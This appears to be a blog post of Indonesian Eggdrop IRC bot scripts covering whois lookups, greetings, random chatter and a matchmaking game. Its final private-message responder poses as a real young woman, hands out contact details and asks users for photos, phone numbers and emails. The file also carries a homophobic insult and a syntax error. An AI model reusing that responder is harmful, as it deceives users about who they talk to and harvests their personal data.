bind pub - "${cprev}csinfo" proc:csinfo
bind pub - "${cprev}nsinfo" proc:nsinfo
bind ctcr - VERSION ctcr:version
bind notc - * notc:version

proc proc:version {nick uhost hand chan text} {
    global botnick fromchan cctarget
    if {[string tolower $nick] != [string tolower $botnick]} {
        set fromchan $chan
        set cctarget [lindex $text 0]
        putquick "PRIVMSG $cctarget :\004VERSION\014"
        return 1
    }
}

proc proc:csinfo {nick uhost hand chan text} {
    global botnick fromchancs cctargetcs
    if {[string tolower $nick] != [string tolower $botnick]} {
        set fromchancs $chan
        set cctargetcs [lindex $text 0]
        putquick "cs info $cctargetcs"
        return 1
    }
}

proc proc:nsinfo {nick uhost hand chan text} {
    global botnick fromchanns cctargetns
    if {[string tolower $nick] != [string tolower $botnick]} {
        set fromchanns $chan
        set cctargetns [lindex $text 0]
        putquick "ns info $cctargetns"
        return 1
    }
}

proc ctcr:version {nick uhost hand dest key arg} {
    global botnick fromchan cctarget
    if {($fromchan == "NONE") || ($cctarget == "NONE")} {return 0}
    if {[string tolower $nick] != [string tolower $botnick]} {
        putquick "PRIVMSG $fromchan :14(06$nick 14VERSION 15reply4!14) 1: \00314$arg\003"
        set fromchan "NONE"
        set cctarget "NONE"
        return 1
    }
}

proc notc:version {nick uhost hand text {dest ""}} {
    global botnick fromchan cctarget fromchancs cctargetcs fromchanns cctargetns
    if {$dest == ""} { set dest $botnick }
    if {($fromchan != "NONE") && ($cctarget != "NONE")} {
        if {([string tolower $nick] == [string tolower $cctarget]) && ([string match "*version*" [lindex [string tolower $text] 0]])} {
            putquick "PRIVMSG $fromchan :14(06$nick 14VERSION 15reply4!14) 1: \00314$text\003"
            set fromchan "NONE"
            set cctarget "NONE"
            return 1
        }
    }  
    if {($fromchancs != "NONE") && ($cctargetcs != "NONE")} {
        if {[string tolower $nick] == "chanserv"} {
            putquick "PRIVMSG $fromchancs :00314$text\003"
            putquick "PRIVMSG $fromchancs :00314$text\003"
            if {[string match "*end of info*" [zzstripcodes [string tolower $text]]]} {
                set fromchancs "NONE"
                set cctargetcs "NONE"
                return 1
            }
        }
    }
    if {($fromchanns != "NONE") && ($cctargetns != "NONE")} {
        if {[string tolower $nick] == "nickserv"} {
            putquick "PRIVMSG $fromchanns :\00314$text\003"
            if {[string match "*end of info*" [zzstripcodes [string tolower $text]]]} {
                set fromchanns "NONE"
                set cctargetns "NONE"
                return 1
            }
        }
    }
}



bind pub - "${cprev}whois" whois:nick

proc whois:nick { nickname hostname handle channel arguments } {
    global whois
    set target [lindex [split $arguments] 0]
    if {$target == ""} {
        putquick "PRIVMSG $channel :14Whois contohnya :  .whois g0eZ"
        return 0
    }
    putquick "WHOIS $target $target"
    set ::whoischannel $channel
    set ::whoistarget $target
    bind RAW - 401 whois:nosuch
    bind RAW - 311 whois:info
    bind RAW - 319 whois:channels
    bind RAW - 312 whois:server
    bind RAW - 301 whois:away
    bind RAW - 313 whois:ircop
    bind RAW - 317 whois:idle
    bind raw - 338 whois:host
    bind raw - 318 whois:eof
}

proc whois:putmsg { channel arguments } {
    putquick "PRIVMSG $channel :14\00314$arguments\003"
}

proc whois:info { from keyword arguments } {
    set channel $::whoischannel
    set nickname [lindex [split $arguments] 1]
    set ident [lindex [split $arguments] 2]
    set host [lindex [split $arguments] 3]
    set realname [string range [join [lrange $arguments 5 end]] 1 end]
    whois:putmsg $channel "14$nickname is $ident@$host * $realname"
    unbind RAW - 311 whois:info
}

proc whois:ircop { from keyword arguments } {
    set channel $::whoischannel
    set target $::whoistarget
    whois:putmsg $channel "14$target is an IRC Operator"
    unbind RAW - 313 whois:ircop
}

proc whois:away { from keyword arguments } {
    set channel $::whoischannel
    set target $::whoistarget
    set awaymessage [string range [join [lrange $arguments 2 end]] 1 end]
    whois:putmsg $channel "14$target is away: $awaymessage"
    unbind RAW - 301 whois:away
}

proc whois:channels { from keyword arguments } {
    set channel $::whoischannel
    set channels [string range [join [lrange $arguments 2 end]] 1 end]
    set target $::whoistarget
    whois:putmsg $channel "14$target on $channels"
    unbind RAW - 319 whois:channels
}

proc whois:server { from keyword arguments } {
    set channel $::whoischannel
    set server [lindex [split $arguments] 2]
    set info [string range [join [lrange $arguments 3 end]] 1 end]
    set target $::whoistarget
    whois:putmsg $channel "14$target using $server $info"
    unbind raw - 312 whois:server
}

proc whois:nosuch { from keyword arguments } {
    set channel $::whoischannel
    set target $::whoistarget
    whois:putmsg $channel "14Gak ada OnLine si \"$target\""
    unbind RAW - 401 whois:nosuch
}

proc whois:idle { from keyword arguments } {
    set channel $::whoischannel
    set target $::whoistarget
    set idletime [lindex [split $arguments] 2]
    set signon [lindex [split $arguments] 3]
    whois:putmsg $channel "14$target has been idle for [duration $idletime]. signon time [ctime $signon]"
    unbind RAW - 317 whois:idle
}

proc whois:host { from keyword arguments }  {
    set channel $::whoischannel
    set target $::whoistarget
    set hostname [lindex [split $arguments] 2]
    whois:putmsg $channel "14$target actually using host $hostname"
    unbind raw - 338 whois:auth
}

proc whois:eof { from keyword arguments } {
    set channel $::whoischannel
    set target $::whoistarget
    set eof [string range [join [lrange [split $arguments] 2 end]] 1 end]
    whois:putmsg $channel "14$target $eof"
    unbind raw - 318 whois:eof
}


bind ctcp - VERSION ctcppingreply
proc ctcppingreply {nick uhost hand dest key arg} {
    global botnick
    putserv "NOTICE $nick :\014VERSION 6ciut8IR4C 14B7eta 5(9New5) 3By g0eZ 15( 12http://ciut.peperonity.com 15)\001"
    return 1
}

bind ctcp - FINGER ctcpfingerreply
proc ctcpfingerreply {nick uhost hand dest key arg} {
    global botnick
    putserv "NOTICE $nick :\014FINGER 6ciut8IR4C 14B7eta 5(9New5) 3By g0eZ 15( 12http://ciut.peperonity.com 15)\001"
    return 1
}


proc zzstripcodes {text} {
    regsub -all -- "\003(\[0-9\]\[0-9\]?(,\[0-9\]\[0-9\]?)?)?" $text "" text
    regsub -all -- "\t" $text " " text
    set text "[string map -nocase [list \002 "" \017 "" \026 "" \037 ""] $text]"
    return $text
}

putlog "version nsinfo csinfo whois edited by eggo loaded....."
## Enjoy,
## Sincerely,
## eggoez.blogspot.com!
##
bind pub - .jodoh Matcher
proc Matcher {nick uhost hand chan args} {
regsub -nocase -all \[{}] $args "" args
set origargs $args
set args [string tolower $args]
if {[llength $args] < 2} {
 putserv "privmsg $nick :!04Jo04Do04h! Penggunaan .jodoh <nama cowok> <nama cewek>"
 return
}

set counter 0
set compatmarker 0
while {$counter != [string length $args]} {
 if {[string range $args $counter $counter] == "l"} {incr compatmarker 2}
 if {[string range $args $counter $counter] == "o"} {incr compatmarker 2}
 if {[string range $args $counter $counter] == "v"} {incr compatmarker 2}
 if {[string range $args $counter $counter] == "e"} {incr compatmarker 2}
 if {[string range $args $counter $counter] == "y"} {incr compatmarker 3}
 if {[string range $args $counter $counter] == "o"} {incr compatmarker 1}
 if {[string range $args $counter $counter] == "u"} {incr compatmarker 3}
 incr counter
}

set compatability 0
if {$counter > 0} {set compatability [expr 5 - ([string length $args] /2)]}
if {$counter > 2} {set compatability [expr 10 - ([string length $args] /2)]}
if {$counter > 4} {set compatability [expr 20 - ([string length $args] /2)]}
if {$counter > 6} {set compatability [expr 30 - ([string length $args] /2)]}
if {$counter > 8} {set compatability [expr 40 - ([string length $args] /2)]}
if {$counter > 10} {set compatability [expr 50 - ([string length $args] /2)]}
if {$counter > 12} {set compatability [expr 60 - ([string length $args] /2)]}
if {$counter > 14} {set compatability [expr 70 - ([string length $args] /2)]}
if {$counter > 16} {set compatability [expr 80 - ([string length $args] /2)]}
if {$counter > 18} {set compatability [expr 90 - ([string length $args] /2)]}
if {$counter > 20} {set compatability [expr 100 - ([string length $args] /2)]}
if {$counter > 22} {set compatability [expr 110 - ([string length $args] /2)]}

if {$compatability < 0} {set compatability 0}
if {$compatability > 100} {set compatability 100}
if {$compatability < 50} {
  set jodoh "boleh percaya.. boleh tidak.. tapi kemungkinan anda berdua belum jodoh. Maaf yah.. :)"
} elseif {$compatability < 75} {
  set jodoh "Perlu usaha lebih giat lagi untuk melakukan pendekatan hati kalian berdua =p"
} elseif {$compatability < 90} {
  set jodoh "awal yang bagus.. mendekati jodoh.. cuit cuit.. ayo lebih mesra lagi akh.. =p"
} else {
  set jodoh "BRAVO!! anda berdua jodoh! percaya...?! tidak juga tidak apa-apa minimal anda tahu yang terbaik untuk anda yah.. =p"
}
putserv "privmsg $chan :14Kecocokan antara03 $origargs 10sebesar04 $compatability% ($jodoh)"
return
}


# on the old scripts, it's on particular channel. but now, i made it for all channels.
set channel "*"

# Edit the time cycle which is in minutes format depending on the time intervals you want the bot to flow out the advertisment
set time 20

# EDIT the text or REMOVE or ADD lines including inverted commas at the starting and ending at each line
set text {
  "seen g0eZ"
  "seen egGo"
  "eggoez@yahoo.com"
  "ojok_add@ymail.com"
}

##### DO NOT EDIT ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU ARE DOING #####

if {[string compare [string index $time 0] "!"] == 0} { set timer [string range $time 1 end] } { set timer [expr $time * 60] }
if {[lsearch -glob [utimers] "* go *"] == -1} { utimer $timer go }

proc go {} {
  global channel time text timer
  foreach chan $channel {
    set line [lindex $text [rand [llength $text]]]
    putserv "PRIVMSG $chan :$line"
  }
  if {[lsearch -glob [utimers] "* go *"] == -1} { utimer $timer go }
}

putlog "\00315(\003dcL\00304\002!\002\00315)\003 versi 1.0 By g0eZ egGo Di Jalankan.."

# main strings
set update "01.01.2003"
bind join - * sayinfo

# Strings
set info_owner {
    "hay bos"
    "hayah kok baru datang bos"
    "waaaaaaa ada si"
    "AsekkKKkk.... akhirnya dateng juga !!!"
    "wb BOSSS!!! mo LAPoR NiH, catHy nakal tadi b0sSs.. !!!"
    "B0zZz... tadi banyak cewek cari tuhh.. "
    "ah kok baru datang bosSS.. abis kencan ya"
    "bosSS LaporRR.. Channel aman terKEndali BosS"
}
set info_localowner {
    "KaBurrrRRrrr...... ADA Siluman DataNG... !!!"
    "PAK gimana kabarnya si ehem.. ehemm.. :)))"
    "Pak!! ada SaLaM dArI SeLinGkuHan TuH !!!"
}
set info_master {
    "hehehe... MASTER DatanG !!"
    "MASTER !!! Bagi ShELL dOOnGG !!!"
    "MASTER aBiS KeLayaPaN Nih !"
    "MASTER.... Masterku Tampan, xixixi..."
}
set info_friend {
    "WOW !!! andravalid raja nya hacker !!!"
    "Cewek-cewek... Awass digombal !!! "
    "Oi... masandra tadi selingkuhanmu selingkuh lagi"
    "Met DatanG rippers !!!"
    "Hehehehe ada rippers kaborz ah"
    "KabuRRRR..... ada rippers !!!"
    "Wiw atut ada Mr Gele
}
set info_oper {
    "You simple oper, watch out !"
    "Operator detected!"
    "You gonna lose your flags if you do something bad!"
    "I'm watching you..."
}
set info_loser {
    "NgaPain Loe DiSiNI ???"
    "Wakss... ada Homo jOiN"
}

# main()

proc sayinfo { nick host handle chan } {
   global botnick
   if { $nick != $botnick } {
       if {[matchattr $handle n]} {
           putserv "PRIVMSG $chan :[rand_owner $nick] $nick "
       } elseif {[matchattr $handle |n $chan]} {
           putserv "PRIVMSG $chan :[rand_localowner $nick] $nick "
       } elseif {[matchattr $handle m]} {
           putserv "PRIVMSG $chan :[rand_master $nick] $nick "
       } elseif {[matchattr $handle |m $chan]} {
           putserv "PRIVMSG $chan :[rand_master $nick] $nick "
       } elseif {[matchattr $handle f]} {
           putserv "PRIVMSG $chan :[rand_friend $nick] $nick "
       } elseif {[matchattr $handle |f $chan]} {
           putserv "PRIVMSG $chan :[rand_friend $nick] $nick "
       } elseif {[matchattr $handle o]} {
           putserv "PRIVMSG $chan :[rand_oper $nick] $nick "
       } elseif {[matchattr $handle |o $chan]} {
           putserv "PRIVMSG $chan :[rand_oper $nick] $nick ]"
       } elseif {[matchattr $handle d]} {
           putserv "PRIVMSG $chan :[rand_loser $nick] $nick "
       } elseif {[matchattr $handle |d $chan]} {
           putserv "PRIVMSG $chan :[rand_loser $nick] $nick "
       }
   }
}

# random(s)

proc rand_owner {nick} {
     global info_owner
     set result [lindex $info_owner [rand [llength $info_owner]]]
     return "$result"
}
proc rand_localowner {nick} {
     global info_localowner
     set result [lindex $info_localowner [rand [llength $info_localowner]]]
     return "$result"
}
proc rand_master {nick} {
     global info_master
     set result [lindex $info_master [rand [llength $info_master]]]
     return "$result"
}
proc rand_friend {nick} {
     global info_friend
     set result [lindex $info_friend [rand [llength $info_friend]]]
     return "$result"
}
proc rand_oper {nick} {
     global info_oper
     set result [lindex $info_oper [rand [llength $info_oper]]]
     return "$result"
}
proc rand_loser {nick} {
     global info_loser
     set result [lindex $info_loser [rand [llength $info_loser]]]
     return "$result"
}

# putlog
putlog "Greet TCL i.d.i.o.t By threenet (last update: $update)"
# Cerewet.tcl Editing by egGo ciut@IRC.All.Net                #
# http://eggoez.blogspot.com                                       #
# eggoez@yahoo.com                                               #
set speaks_chans "*"

# Set you want in XXX seconds you bot always talk
set speaks_time 500

## -=[ Hello ]=-  Set the next line as the channels you want to run in
## for all channel just type "*" if only for 1 channel or 2 chnnel just
## type "#channel1 #channel2 #channel3 #channel4"
set hello_chans "*"

## -=[ BRB ]=-  Set the next line as the channels you want to run in
## for all channel just type "*" if only for 1 channel or 2 chnnel just
## type "#channel1 #channel2 #channel3 #channel4"
set brb_chans "*"

## -=[ BYE ]=-  Set the next line as the channels you want to run in
## for all channel just type "*" if only for 1 channel or 2 chnnel just
## type "#channel1 #channel2 #channel3 #channel4"
set bye_chans "*"

## -=[ PING ]=-  Set the next line as the channels you want to run in
## for all channel just type "*" if only for 1 channel or 2 chnnel just
## type "#channel1 #channel2 #channel3 #channel4"
set ping_chans "*"
        
### SPEAK ###
set spoken.v "Auto talk"
# Set the next lines as the random speaks msgs you want to say
set speaks_msg {
{"emuachhhh..."}
{"ring xixixixiix"}
{"aku bukan pengemis cintaaa..."}
{"masa sich.."}
{"lho.. si g0eZ sayank td mana?"}
{"*celingak celinguk*"}
{"hush.. hushh hushh ..."}
{"hoyyyy..."}
{"mas, egGo mana yachh ?..."}
{"yak desgghh..."}
{"bleuh"}
{"weh ada cewek"}
{"welah"}
{"hoekkkkk !!!!"}
{"wik !"}
{"hiyek"}
{"emang ?"}
{"GRRRRRRRRRRR"}
{"woooooooo"}
{"au ah gelap"}
{"halo sapa nih"}
{"pokoknya gue asyik jek"}
{"xuxuxux,,,lucu juga ya "}
{"Hormattt !!!!! Grak !"}
{"ah pada kujum nih.."}
{"bubar bubar !"}
{"aahh.. seneeeeengg..!!!!"}
{"eMeL yuk..."}
{"*sigh*"}
{"*blah* =p~"}
{"capek bangeett..!!!"}
{"arrgh.. dammit !"}
{"*hiks*"}
{"sebel..!!"}
{"kalo ketiduran gimana ?"}
{"udah kayak ibu-ibu rumah tangga deh gue..!"}
{"huwaa.. !"}
{"mirip ngga ?"}
{"libur euy..!!"}
{"ring kekekkeke.!!"}
{"ya sutra lah.."}
{"potong kambing ya besok ?"} 
{"freak !"}
{"immortal rejection! "}
{"awas loo klo km ngangkang ntar keliatananunya nanti xixixi :P~~"}
{"eh kapan lu bayar utang kamu..?!"}
{"aduhh.. seneng bangeeett sy hari ini..!!!!!!"}
{"huek.. kenyaaaangg.. !"}
{"see ? i'm a survivor..!"}
{"cuci-cuci mata donk.. "}
{"aduhh.. itu bener-bener deh.. *hiks* "}
{"aceman loe..."}
{"begini"}
{"lho"}
{"<------ potong disini -----"}
{"hah"}
{"brisik"}
{"mama mama"}
{"kutumbaba *mama*"}
{"lho ya!"}
{"laper!"}
{"wik"}
{"wooow keren skallii"}
{"anu dulu ah..."}
{"gwe keren kan?"}
{"ada yang punya ef be gak nick??"}
{"duarrrrrrrrrr!!!"}
{"weleh-weleh"}
{"cleguks"}
{"hoeam.zzzz"}
{"laper bosssssssSSSS"}
{"anday ada yang pv aku.."}
{"tiada hari tanpa sendiri"}
{"main uno dulu ah"}
{"!port goez.amunisi.net"}
{"ah... jadi kebelet gwe"}
{"ada yang punya psy gak nih??"}
{"sewa bot berapa ya om??"}
{"aduh lupa gak gwe tutup tadi.."}
{"semangat..... 69"}
{"tak ada yang abadi"}
{"gue crewet ya..."}
{"ampun DJ..."}
{"bos bos... gue minta SOP nya"}
{"walah......"}
{"acemmmmmmmmmm"}
{"kagak kuat gue.."}
{"tarik mang.."}
{"ah elo.."}
{"ealah.."}
{"siapa yang pv gue tadi.."}
{"males ah..."}
{"gue pipis dolo ea..."}
{"bikin susu coklat dulu ah..."}
{"aku gak kemana² tp aku ada di mana²"}
{"anday ada kesempatan ke 3"}
{"!seen g0eZ"}
{"mad mad beliin gwe pulsa donk mad.."}
{"heuheuheuheuehueheuheu"}
{"aw aw aw"}
{"sakit om.."}
{"jangan om"}
{"kul gak lulus lg..."}
{"aduh.. apes banget gwe"}
{"kapan itu?"}
{"!port goez.amunisi.net 9000"}
{"wkwkwkwkwkwkwkwk"}
{"eh eh...."}
{"siapa yang mau jd pendengar jurhat ku.."}
{"uang tinggal 3 ribu mau beli pulsa.. gak jadi ah..."}
{"oh goD"}
{"bos g0eZ td mana yah..."}
{"hmmmmmmmmm...."}
{"mikir bentaran yah.."}
{"ewh.."}
{"jiah..."}
{"begh.."}
{"tid tid.. ada sms nih.."}
{"!sms 085330023052 kangen kamu yank.."}
{"di jamin puasSSS"}
{"alamat ef loe apa bro?"}
{"di sms gak balesin..."}
{"iya tah?"}
{"ahay..."}
{"kagak bisa bobok gue.."}
{"sipppp.."}
{"jadi donk say..."}
{"perasaan ada yang panggil yah.."}
{"boSS adem bos..."}
{"aku iki sopo nginvite rene..."}
{"duh lemot..."}
{"!seen egGo"}
{"huhuhuhuhuhuhuh..."}
{"Duh gwe dapet lagi ini.."}
{"mau enaknya aja loe.. anaknya kagak mau.."}
{"dasar pecundang.."}
{"kangen kamu yank.."}
{"dimanakah aku inih..."}
{"@_@"}
{"^_^"}
{"*_*"}
{"o_O"}
{"x_X"}
{"entah lah.."}
{"mau kencan dulu say.."}
{"kujum?"}
{"gak maooo..."}
{"guz.."}
{"hello..."}
{"waks..."}
{"i am nothing with you.."}
{"alone..."}
{"ah cepek.."}
{"crutz.."}
{"aw... aw..."}
{"hmmmmmmmmmmmmmmmmmmmmmmm.."}
{"apa lo.. hueheuheuhe"}
{"gak papa gak mama sama ajah.."}
{"tunggu!!"}
{"ada esemes.."}
{"bot.."}
{"ngeri juga gwe.."}
{"aku menunggumu disini.."}
{"bicara donk.."}
{"ah elo.."}
{"ngomong kek dr tadi.."}
{"ekekekekekeke"}
{"wkwkwkwkwkwkwkw"}
{"jijik aku.."}
{"ojok_add@ymail.com"}
{"derita loe.."}
{"cumi..."}
{"takut.. :C"}
{"iya iya..."}
}

if {![string match "*speaks_time*" [timers]]} {
 timer $speaks_time time_speaks
}

proc time_speaks {} {
 global speaks_msg speaks_chans speaks_time
 if {$speaks_chans == "*"} {
  set speaks_temp [channels]
 } else {
  set speaks_temp $speaks_chans
 }
 foreach chan $speaks_temp {
  set speaks_rmsg [lindex $speaks_msg [rand [llength $speaks_msg]]]
  foreach msgline $speaks_rmsg {
   puthelp "PRIVMSG $chan :[subst $msgline]"
  }
 }
 if {![string match "*time_speaks*" [timers]]} {
  timer $speaks_time time_speaks
 }
}



##  hello ##
set Reponden3.v "hello Respon"
bind pub - hello hello_speak
bind pub - alo hello_speak
bind pub - aloo hello_speak
bind pub - alooo hello_speak
bind pub - hallo hello_speak
bind pub - hai hello_speak
bind pub - hi hello_speak

set ranhello {
  "hello there, nice to meet you"
  "hello how are you ^_^"
  "ramein channel donk saayyyy"
  "halo halo bandung, wakil bos gua orang Makassar"
  "Hi too, ohh ur so cutee xP~"
  "halooooooooo"
  "apaaaaaaa , suka yaaaaa ma Saya,hmm"
  "chat in channel please"
  "yes, Hello too, do I know ya ?"
  "alo sayank"
  "Hi there"
  "hello, whats up"
  "oi oi oi oi oi" 
  "Halo juga nich, kamu sapa nich, kok sok kenal banget ma saya =P"
  "hello how are you ^_^"
  "Hai bro apa kabarmu, bagaimana dengan kabar keluargamu ?"
  "hey whats up"
  "yeah, yeah hi HI"
  "hello, nice to see yea!"
  "Hi i'm happy today!!"
  "hai hai hai hai juga"
  "apa khbar nich nama kamu siapa"
  "halo juga perkenalkan nama ku Yazmien Octavia, kalau kamu siapa?"
  "asl gua = 20 f jember, rumah gua di kencong , tebak yg mana :P"
  "hi ,  =)  , kenalan yukk"
  "asl pls, I like to chat with you in channel"
  "Hi juga, kamu makin kiyut aja dech, gemesssss"
  "alo juga, siapa disitu ?"
  ",konnichiwa (halo dalam bahasa jepang)<== maklum baru belajar :P"
  ",how do you do? i'm happy to meet you"
  ",halo juga saya senang dapat berjumpa dengan anda lagi"
  "it was nice meeting you"
  "menyenakan dapat bertemu dengan anda lagi"
  "how are you today ? are you okay ?"
}

proc hello_speak {nick uhost hand chan text} {
 global botnick hello_chans ranhello
if {(([lsearch -exact [string tolower $hello_chans] [string tolower $chan]] != -1) ||
($hello_chans == "*"))} {
set helos [lindex $ranhello [rand [llength $ranhello]]]
putserv "PRIVMSG $chan :$nick $helos"
  }
}

##  Brb  ##
set Reponden4.v "Brb Respon"
bind pub - brb brb_speak
bind pub - gtg brb_speak
bind pub - away brb_speak
set ranbrb {
  "ok"
  "where you going?"
  "me too, smoke time!"
  "when you coming back. miss ya already! ;)"
  "mo kemana nich, kok ga ngajak ngajak hehehe"
  "jangan lama lama yah , aku masih kangen nich..."
  "kalo mo ke WC aku ikut, kalo ke kamar juga hehehehhe"
  "ok darling, but don't be so long ok pls, I need You honey"
  ",Alesan .. paling juga gebetan"
  "5 menit aja hehehehehee"
  "ikut donk..."
  ",ape ?? mo kmana lu jang ? TEGA LUH tinggalin gua sendiri ?? co macam apa pulak kau :("
  "brb boleh tapi nicknamenya tetep disini kan ?"
  "ok,  saya tunggu yah.. jangan lama2 kangen buanget  nich kekek.."
  "brb mau kemana.. mau beli pipis yeh.. ikut donk.."
  "ye.. baru juga elo masuk udah brb payah.. loe..."
}

proc brb_speak {nick uhost hand chan text} {
 global botnick brb_chans ranbrb
if {(([lsearch -exact [string tolower $brb_chans] [string tolower $chan]] != -1) ||
($brb_chans == "*"))} {
set brbs [lindex $ranbrb [rand [llength $ranbrb]]]
putserv "PRIVMSG $chan :$nick $brbs"
  }
}

##  Bye  ##
set Reponden5.v "Bye respon"
bind pub - bye bye_speak
bind pub - dadah bye_speak
set ranbye {
  "ati ati dijalan yahh, byeee, kalo jatoh, bangun sendiri yahhh"
  "sampe jumpa besok di waktu dan jam seta channel yang sama hihihihi tha tha"
  "ati ati Ntar ketabrak becak lagi"
  "thathaaa"
  "nice to meet you today, hope can see you agaiin tomorrow"
  "ati-ati di jalan bro!!"
  "ok see u later frend"
  "kok buru-buru amat tadikan baru datang kok udah mau pergi.."
  "ok deh.. bye.. juga"
  "see u tommorow night"
  "see u tonight"
  "mata ashita (sampai jumpa besok)"
  "sayoonara fren :)"
  "sampai besok sobat"
  "iyah..take care yaahh ^_^"
  "take care fren, nice to meet u :)"
  "good bye.. juga :)"
  "nice to meet you today, hope can see you agaiin tomorrow"
  "GBU & tetep semangat yah.."
}

proc bye_speak {nick uhost hand chan text} {
 global botnick bye_chans ranbye
if {(([lsearch -exact [string tolower $bye_chans] [string tolower $chan]] != -1) ||
($bye_chans == "*"))} {
set byes [lindex $ranbye [rand [llength $ranbye]]]
putserv "PRIVMSG $chan : $nick $byes"
  }
}

## -----------------------------------------------------------------------
putlog "-=-=   ENTERTAINMENT  PROSES   =-=-=-=-=-"
putlog "Entertainment Channel (auto/respon) Ver 1.0:"
putlog "1.${spoken.v},3.${Reponden3.v}"
putlog "4.${Reponden4.v},5.${Reponden5.v}"
putlog "loaded By g0eZ Successfuly..."
##----------------------------------------------------------------------------
bind msgm - "*" msg_hi
proc msg_hi {nick uhost hand text} {
global botnick
 if {[regexp -nocase "hi" $text] || [regexp -nocase "hello" $text] || [regexp -nocase "alo" $text] || [regexp -nocase "halo" $text] > 0} {
    putserv "PRIVMSG $nick :hi juga $nick"
     putserv "PRIVMSG $nick :asl dunk"
    } }

bind msgm - "*" msg_asl
proc msg_asl {nick uhost hand text} {
global botnick
 if {[regexp -nocase "asl" $text] || [regexp -nocase "dimana" $text] || [regexp -nocase "umur" $text] || [regexp -nocase "tinggal" $text] > 0} {
    putserv "PRIVMSG $nick :hmm napa seh nanya asl molo $nick"
     putserv "PRIVMSG $nick :gua ada di samarinda :) umur maseh mudah kok baru 18 jalan hehehehe"
    putserv "PRIVMSG $nick :asl kamu juga please"
} }
bind msgm - "*" kul
proc kul {nick uhost hand text} {
global botnick
if {[regexp -nocase "kul" $text] || [regexp -nocase "ker" $text] > 0} {
    putserv "PRIVMSG $nick :gua kuliah neh di Untar Jurusan Ekonomi Angkatan 2001"
    putserv "PRIVMSG $nick :kalo kamu? eh kamu skr lagi main dimana?"
    putserv "PRIVMSG $nick :kamu kerja/kuliah?"
    putserv "PRIVMSG $nick :dimana?"
} }

bind msgm - "*" msg_pacar
proc msg_pacar {nick uhost hand text} {
global botnick
if {[regexp -nocase "pacar" $text] || [regexp -nocase "bf" $text] || [regexp -nocase "yayang" $text] > 0} {
    putserv "PRIVMSG $nick :nurut kamu aku udeh ada yg punya belom ;P"
    putserv "PRIVMSG $nick :Kalo kamu sendiri udeh ada yayang lom"
    putserv "PRIVMSG $nick :Gua baru putus ama co gua gara2 gua suka keluar malam ama temen2 gus hiks :)"
    putserv "PRIVMSG $nick :loe suka ke dugem ngga?"

} }

bind msgm - "*" msg_email
proc msg_email {nick uhost hand text} {
global botnick
if {[regexp -nocase "email" $text] || [regexp -nocase "mail" $text] > 0} {
    putserv "PRIVMSG $nick :kamu mau minta email aku yah?"
    putserv "PRIVMSG $nick :Ini gua kaseh nanti kirimin foto kamu yah , kalo ganteng sapa tau wa kecantol hehehe"
    putserv "PRIVMSG $nick :Gadis_centil@yahoo.com"
} }

bind msgm - "*" msg_tlp
proc msg_tlp {nick uhost hand text} {
global botnick
if {[regexp -nocase "telp" $text] || [regexp -nocase "phone" $text] || [regexp -nocase "hp" $text] > 0} {
    putserv "PRIVMSG $nick :huh buat apa kamu minta nomer telpk gua?"
    putserv "PRIVMSG $nick :nih wa kaseh nanti tlp gua yah 08125737575"
    putserv "PRIVMSG $nick :Minta nomer kamu juga donk ama email kamu biar kita bisa contac nanti"
} }

bind msgm - "*" msg_ketawa
proc msg_ketawa {nick uhost hand text} {
global botnick
if {[regexp -nocase "hehe" $text] || [regexp -nocase "haha" $text] || [regexp -nocase "hihi" $text] > 0} {
    putserv "PRIVMSG $nick :hehehe kok ketawa seh"
    putserv "PRIVMSG $nick :apanya yang lucu $nick"
} }

bind msgm - "*" msg_name
proc msg_name {nick uhost hand text} {
global botnick
if {[regexp -nocase "name" $text] || [regexp -nocase "nama" $text] > 0} {
    putserv "PRIVMSG $nick :gua susan"
    putserv "PRIVMSG $nick :loe sapa , oh yah kamu lagi ngapain aza skr say"
} }

bind msgm - "*" msg_kenal
proc msg_kenal {nick uhost hand text} {
global botnick
if {[regexp -nocase "kenalan" $text] || [regexp -nocase "gabung" $text] > 0} {
    putserv "PRIVMSG $nick :boleh aza , kamu asl nya donk $nick"
    putserv "PRIVMSG $nick :tapi gua hanya mau kenalan kalo kamu serius mau chat , gimana?"
    putserv "PRIVMSG $nick : bt kalo hanya sebatas asl trus diam"
} }

bind msgm - "*" msg_dodol
proc msg_dodol {nick uhost hand text} {
global botnick
if {[regexp -nocase "dodol" $text] || [regexp -nocase "dodol" $text] > 0} {
    putserv "PRIVMSG $nick :hehehe jangan omong dodol molo"
    putserv "PRIVMSG $nick :mau wa beliin dodol sekilo ngga $nick"
} }

putlog "pv.tcl 1.1 By g0eZ Loaded - Dont Change this to ur name please - Thanks"

No comments:

Post a Comment